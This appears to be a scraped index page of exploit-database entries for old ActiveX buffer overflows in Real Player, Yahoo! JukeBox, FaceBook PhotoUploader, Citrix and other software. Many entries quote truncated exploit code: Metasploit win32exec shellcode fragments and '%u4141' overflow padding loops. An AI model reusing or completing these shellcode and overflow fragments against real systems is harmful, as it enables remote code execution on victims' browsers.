Move Media Player 1.0 Quantum Streaming ActiveX Control Multiple Buffer Overflow Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/25529/info Move Media Player is prone to multiple remote buffer-overflow vulnerabilities because the application fails to properly bounds-check user-supplied data before copying it into insufficiently sized memory buffers...

Trend Micro OfficeScan - ObjRemoveCtrl ActiveX Control Buffer Overflow

Trend Micro OfficeScan - ObjRemoveCtrl ActiveX Control Buffer Overflow Trend Micro OfficeScan ObjRemoveCtrl ActiveX Control Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit

No description provided by source. !-- Real Player rmoc3260.dll ActiveX Control Remote Code Execution ExploitHeap Corruption written by e.b. Tested on Windows XP SP2fully patched English, IE6, rmoc3260.dll version 6.0.10.45 Thanks to h.d.m. and the Metasploit crew -- html head titleReal Player...

Real Player - 'rmoc3260.dll' ActiveX Control Remote Code Execution

Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit

Exploit for unknown platform in category remote exploits ====================================================================== Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit ====================================================================== Real Player rmoc3260.dll...

Real Player - rmoc3260.dll ActiveX Control Remote Code Execution

Real Player - rmoc3260.dll ActiveX Control Remote Code Execution Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

Move Networks Quantum Streaming Player Control BOF Exploit

Exploit for unknown platform in category remote exploits ========================================================== Move Networks Quantum Streaming Player Control BOF Exploit ========================================================== function Check // win32exec - EXITFUNC=seh...

Move Networks Quantum Streaming Player Control - Remote Buffer Overflow

Move Networks Quantum Streaming Player Control - Remote Buffer Overflow function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

move-overflow.txt

function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +...

IBM Domino Web Access Upload Module - Overwrite (SEH)

IBM Domino Web Access Upload Module Universal BoF Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

IBM Domino Web Access Upload Module - Overwrite (SEH)

IBM Domino Web Access Upload Module - Overwrite SEH IBM Domino Web Access Upload Module Universal BoF Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

Citrix Presentation Server Client - 'WFICA.OCX' ActiveX Heap Buffer Overflow

Citrix Presentation Server Client WFICA.OCX ActiveX Component Heap Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

ImageStation - 'SonyISUpload.cab' 1.0.0.38 ActiveX Buffer Overflow

ImageStation SonyISUpload.cab 1.0.0.38 ActiveX Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

FaceBook PhotoUploader (ImageUploader4.ocx 4.5.57.0) BOF Exploit

No description provided by source. !-- FaceBook PhotoUploader Buffer Overflow Exploit written by e.b. Tested on Windows XP SP2fully patched English, IE6, ImageUploader4.ocx 4.5.57.0FaceBookPhotoUploader2.cab The following controls are also vulnerable: Aurigma ImageUploader4 4.5.70.0 and 4.5.126.0...

yahoomusic-overflow2.txt

Yahoo! JukeBox MediaGrid ActiveX Control mediagrid.dll AddBitmap Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

facebook-overflow.txt

FaceBook PhotoUploader Buffer Overflow Exploit function Check var buf = unescape"%u4141"; while buf.length = 261 buf = buf + unescape"%u4141"; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

FaceBook PhotoUploader - 'ImageUploader4.ocx 4.5.57.0' Remote Buffer Overflow

FaceBook PhotoUploader Buffer Overflow Exploit function Check var buf = unescape"%u4141"; while buf.length = 261 buf = buf + unescape"%u4141"; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

Yahoo! Music JukeBox 2.2 - 'AddButton()' ActiveX Remote Buffer Overflow

Yahoo! JukeBox datagrid.dll AddButton Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

Yahoo! JukeBox MediaGrid - 'AddBitmap()' ActiveX Buffer Overflow

Yahoo! JukeBox MediaGrid ActiveX Control mediagrid.dll AddBitmap Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

Yahoo! Music Jukebox 2.2 AddButton() ActiveX Remote BOF Exploit (3)

Exploit for unknown platform in category remote exploits =================================================================== Yahoo! Music Jukebox 2.2 AddButton ActiveX Remote BOF Exploit 3 =================================================================== Yahoo! JukeBox datagrid.dll AddButton...